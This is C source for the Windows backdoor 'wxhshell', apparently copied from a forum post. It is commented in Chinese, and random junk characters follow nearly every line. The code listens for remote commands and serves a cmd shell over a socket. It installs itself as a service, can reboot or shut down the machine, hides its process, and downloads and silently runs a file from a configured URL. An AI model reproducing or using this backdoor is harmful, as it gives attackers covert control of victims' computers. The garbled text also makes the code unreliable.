  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SJ}PV:x  
  } z57q |  
  else { SB|Cr:wM  
%CZGV7JdA  
    switch(cmd[0]) { IL,iu  
  33ZHrZ  
  // 帮助 Jt:)(&-t   
  case '?': { >E7s}bL"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4j}.=u*X7  
    break; @X2zIFm  
  } ?AVnv(_  
  // 安装 bN&DotG  
  case 'i': { :*vSC:q  
    if(Install()) Z6zLL   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [x%8l,O #l  
    else eNK6=D|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y(*5qa<>  
    break; {`Z= LLL  
    } ^jXKM!}-E  
  // 卸载 `46|VQAx  
  case 'r': { S\ K[l/  
    if(Uninstall()) z%]3`_I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M96Nt&P`  
    else qYPgn _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -UWyBM3c@  
    break; Zbr1e5?  
    } =Qn8Y`U  
  // 显示 wxhshell 所在路径 iOk`_LG#  
  case 'p': { 4QE")Ge  
    char svExeFile[MAX_PATH]; O) )j  
    strcpy(svExeFile,"\n\r"); xouBBb=  
      strcat(svExeFile,ExeFile); b)>l7nOc  
        send(wsh,svExeFile,strlen(svExeFile),0); <O41 M\,  
    break; QO>)ug+  
    } _7R6%^  
  // 重启 1]W8A.ZS  
  case 'b': { ]D^zTl3=q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bw<$fT`  
    if(Boot(REBOOT)) Q>xp 90&.n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f*EDSJu\  
    else { -^*8D(j*  
    closesocket(wsh); ]vuxeu[cu,  
    ExitThread(0); djn<Oc`  
    } t Kjk<  
    break; uG/b Cb+V  
    } KkJE-k*D+w  
  // 关机 Oiw!d6"Ovq  
  case 'd': { V0bKtg1f?-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]E*xn  
    if(Boot(SHUTDOWN)) 6J965eM'[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &m`@6\N(  
    else { fG<[zt\e  
    closesocket(wsh); #%]?e N  
    ExitThread(0); Pk8(2fAYk  
    } CX7eCo  
    break; =T$2Qo8  
    } BOl*. t  
  // 获取shell P#/s5D8  
  case 's': { sDwE,f0h  
    CmdShell(wsh); z-|d/#h  
    closesocket(wsh); 2{G7ignv  
    ExitThread(0); aw3rTT(  
    break; R_IT${O  
  } wh3Wuh?x  
  // 退出 OYOczb]  
  case 'x': { BO 3z$c1yU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^C8f(  
    CloseIt(wsh); -}5dZ;  
    break; 0 d2to5 (  
    } OSK:Cb.-?F  
  // 离开 i;J*9B_U  
  case 'q': { V'AZs;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]Gl5Qf:+z  
    closesocket(wsh); R;w1& Z  
    WSACleanup(); Z"G?+gM@  
    exit(1); ^.[+)0I  
    break; oTeQY[%$  
        } WhL"-f  
  } jYh.$g<`0+  
  } +H _ /  
.Zx7+`i  
  // 提示信息 !)OA7%3m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i,/Q.XL  
} 8yGo\\=T  
  } aV n+@g<.  
{z# W-  
  return; PR>%@-Vgj  
} H"rIOoxf  
Bs-MoT!  
// shell模块句柄 U}W7[f lc  
int CmdShell(SOCKET sock) C 2?p>S/q  
{ rgu7g  
STARTUPINFO si; M,eq-MEK  
ZeroMemory(&si,sizeof(si)); s`L>mRw`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c`V~?]I>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M'xG.'  
PROCESS_INFORMATION ProcessInfo; Lw{'mtm  
char cmdline[]="cmd"; HTP~5J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o&HFlDZ5jO  
  return 0; {"^#CSi  
} =!2(7Nr  
84-7!< 6i  
// 自身启动模式 -axmfE?g0  
int StartFromService(void) SA6.g2pFz  
{ E"%G@,|3*  
typedef struct -\~x^5K  
{ YfH+kDT  
  DWORD ExitStatus; LMYO>]dg  
  DWORD PebBaseAddress; _MGhG{p7t  
  DWORD AffinityMask; Il#9t?/  
  DWORD BasePriority; n 4EZy<~m  
  ULONG UniqueProcessId; zj'uKBDl  
  ULONG InheritedFromUniqueProcessId; ;Z#DB$o\  
}   PROCESS_BASIC_INFORMATION; cK2Us+h  
@xAfD{}f!  
PROCNTQSIP NtQueryInformationProcess; g8;JpPw  
SZC1$..2T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5,?Au  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t-w4rXvF   
sKOy6v  
  HANDLE             hProcess; QLyBP!X-  
  PROCESS_BASIC_INFORMATION pbi; PF-"^2&_  
tJ9`Ys  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e@L7p,  
  if(NULL == hInst ) return 0; h+Tt+ Q\  
f<( ysl1[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rKWkT"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gw Z(3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); btU:=6  
@c{b\is2  
  if (!NtQueryInformationProcess) return 0; jiAN8t*P  
r1X\$&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }Z\PE0  
  if(!hProcess) return 0; 0Bhf(5  
TfqQh!Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NpYzN|W:  
[ f`V_1d3  
  CloseHandle(hProcess); hlTM<E  
_cH 7lO[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c*x5t"{  
if(hProcess==NULL) return 0; )~[hf,R5S  
p'IF2e&z  
HMODULE hMod; "# BI"  
char procName[255]; a;e~D 9%1  
unsigned long cbNeeded; '#0'_9}  
p/inATH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \py \rI  
fP:g}Z  
  CloseHandle(hProcess); ) %&~CW+  
xA2 "i2k9  
if(strstr(procName,"services")) return 1; // 以服务启动 ,_2ZKO/k$  
:*/`"M)'  
  return 0; // 注册表启动 Ta3qEVs  
} S-k:+4  
2Fsv_t&*>  
// 主模块 4q\bnt  
int StartWxhshell(LPSTR lpCmdLine) l>O~^41[  
{ r+%}XS%;h  
  SOCKET wsl; X,8 ]g.<  
BOOL val=TRUE; J-g<-!>RM  
  int port=0; myeez+@ m  
  struct sockaddr_in door; Th)Z?\8zk  
/<$\)|r  
  if(wscfg.ws_autoins) Install(); &*N;yW""f  
F"Y.'my8  
port=atoi(lpCmdLine); Sq,x57-  
Cl5l+I\1  
if(port<=0) port=wscfg.ws_port; &I$MV5)u  
("B[P/  
  WSADATA data; WD7IF+v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qx~-(|s`H  
>FabmIcC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K`?",G?_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &{c.JDO  
  door.sin_family = AF_INET; hf~'EdU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GF-\WD  
  door.sin_port = htons(port); P[E5e+ A)  
aqk0+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '=2/0-;Jf  
closesocket(wsl); a.yCd/  
return 1; Bqd'2HQd  
} $ RDwy)9  
(/r l\I  
  if(listen(wsl,2) == INVALID_SOCKET) { lU[" ZFP  
closesocket(wsl); O+^l>+ZGj?  
return 1; Gd8FXk,.!  
} \'gb{JO  
  Wxhshell(wsl); "NgfdLz  
  WSACleanup(); ZYy?JDAO  
|aovZ/b4  
return 0; :Ej#qYi  
W5^m[,GU'  
} w+NdEE4H9z  
MM*B.y~TxZ  
// 以NT服务方式启动 .A. VOf_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "[rChso  
{ i0y^b5@MOb  
DWORD   status = 0; V9 dRn2- [  
  DWORD   specificError = 0xfffffff; M;\iL?,  
qQu}4Ye>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W h^9 Aq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5QjM,"`mp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1sqBBd"=PY  
  serviceStatus.dwWin32ExitCode     = 0; j[Y$)HF  
  serviceStatus.dwServiceSpecificExitCode = 0; kIlc$:K^  
  serviceStatus.dwCheckPoint       = 0; 1@)kNg)*$  
  serviceStatus.dwWaitHint       = 0; ' R!pc  
dp3>G2Yq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /Jjub3>Q  
  if (hServiceStatusHandle==0) return; ;|.^_Xs  
]b"Oy}ARW  
status = GetLastError(); wMB. p2  
  if (status!=NO_ERROR) ?9E shw2  
{ <GbF4\ue  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S~9K'\vO  
    serviceStatus.dwCheckPoint       = 0; 3:Mq4 0]x  
    serviceStatus.dwWaitHint       = 0; CHeU?NtFps  
    serviceStatus.dwWin32ExitCode     = status; Stkyz:,(  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ca&5"aki  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iz&$q]P8  
    return; avmuI^LLs  
  } S4m??B  
,F,\bp}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ' DZYN {}  
  serviceStatus.dwCheckPoint       = 0; 6 K+DgNK  
  serviceStatus.dwWaitHint       = 0; gkJL=,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QxSJLi7t  
} h~]G6>D9)>  
OO Hw-MW  
// 处理NT服务事件,比如:启动、停止 ]ZD W+<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e'FBV[e  
{ "B~c/%#PH  
switch(fdwControl) '@$YX*[  
{ 0UJ% tPS  
case SERVICE_CONTROL_STOP: WU wH W  
  serviceStatus.dwWin32ExitCode = 0; <QlpIgr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }9k/Y/.  
  serviceStatus.dwCheckPoint   = 0; 4&}V3"lg  
  serviceStatus.dwWaitHint     = 0; H]6i1j  
  { 2qw-:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ''{REFjK7  
  } `OL@@`'^{S  
  return; Xu4C*]A>  
case SERVICE_CONTROL_PAUSE: g>m)|o'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yJCqP=  
  break; wx a?.  
case SERVICE_CONTROL_CONTINUE: u3"0K['3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?s=O6D&   
  break; 0Jz5i4B  
case SERVICE_CONTROL_INTERROGATE: *Kpk1  
  break; KW* 2'C&  
}; {`FkiB` i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0zQ^ 6@  
} ne]P-50  
c>_tV3TDA  
// 标准应用程序主函数 >Mu I-^ 3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9{D u)k  
{  ZA u=m  
DqfWu*  
// 获取操作系统版本 \3M<_73  
OsIsNt=GetOsVer(); ,buSU~c_Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1 ZL91'U  
~$I9%z7@  
  // 从命令行安装 WrA!'I  
  if(strpbrk(lpCmdLine,"iI")) Install(); uwQ~4   
k<.$7Pl3U  
  // 下载执行文件 S}O>@ %  
if(wscfg.ws_downexe) { 'qL:7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zj+S "`P  
  WinExec(wscfg.ws_filenam,SW_HIDE); eP d  
} ;Av=/hU  
#ujry. m  
if(!OsIsNt) { J`E,Xw>2  
// 如果时win9x,隐藏进程并且设置为注册表启动 `D44I;e^1;  
HideProc(); q*L>MV  
StartWxhshell(lpCmdLine); (Dy6I;S  
} >@b]t,rrK  
else Jy#c 6  
  if(StartFromService()) dRdI('  
  // 以服务方式启动 bW]7$?acv  
  StartServiceCtrlDispatcher(DispatchTable); HE;}B!>  
else iyA=d{S;V  
  // 普通方式启动 ~XzT~WxW  
  StartWxhshell(lpCmdLine); ;PS V3Zh  
o1kTB&E4B  
return 0; IhIz 7.|  
}
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只看该作者 1 发表于: 2006-10-10
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